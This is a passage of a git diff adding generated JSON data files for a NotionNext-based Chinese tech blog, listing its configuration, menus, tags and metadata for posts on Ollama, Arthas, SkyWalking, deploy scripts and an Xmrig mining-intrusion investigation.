fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"开发"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\276\256\346\234\215\345\212\241.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\276\256\346\234\215\345\212\241.json"
new file mode 100644
index 000000000..d2b62605a
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\276\256\346\234\215\345\212\241.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 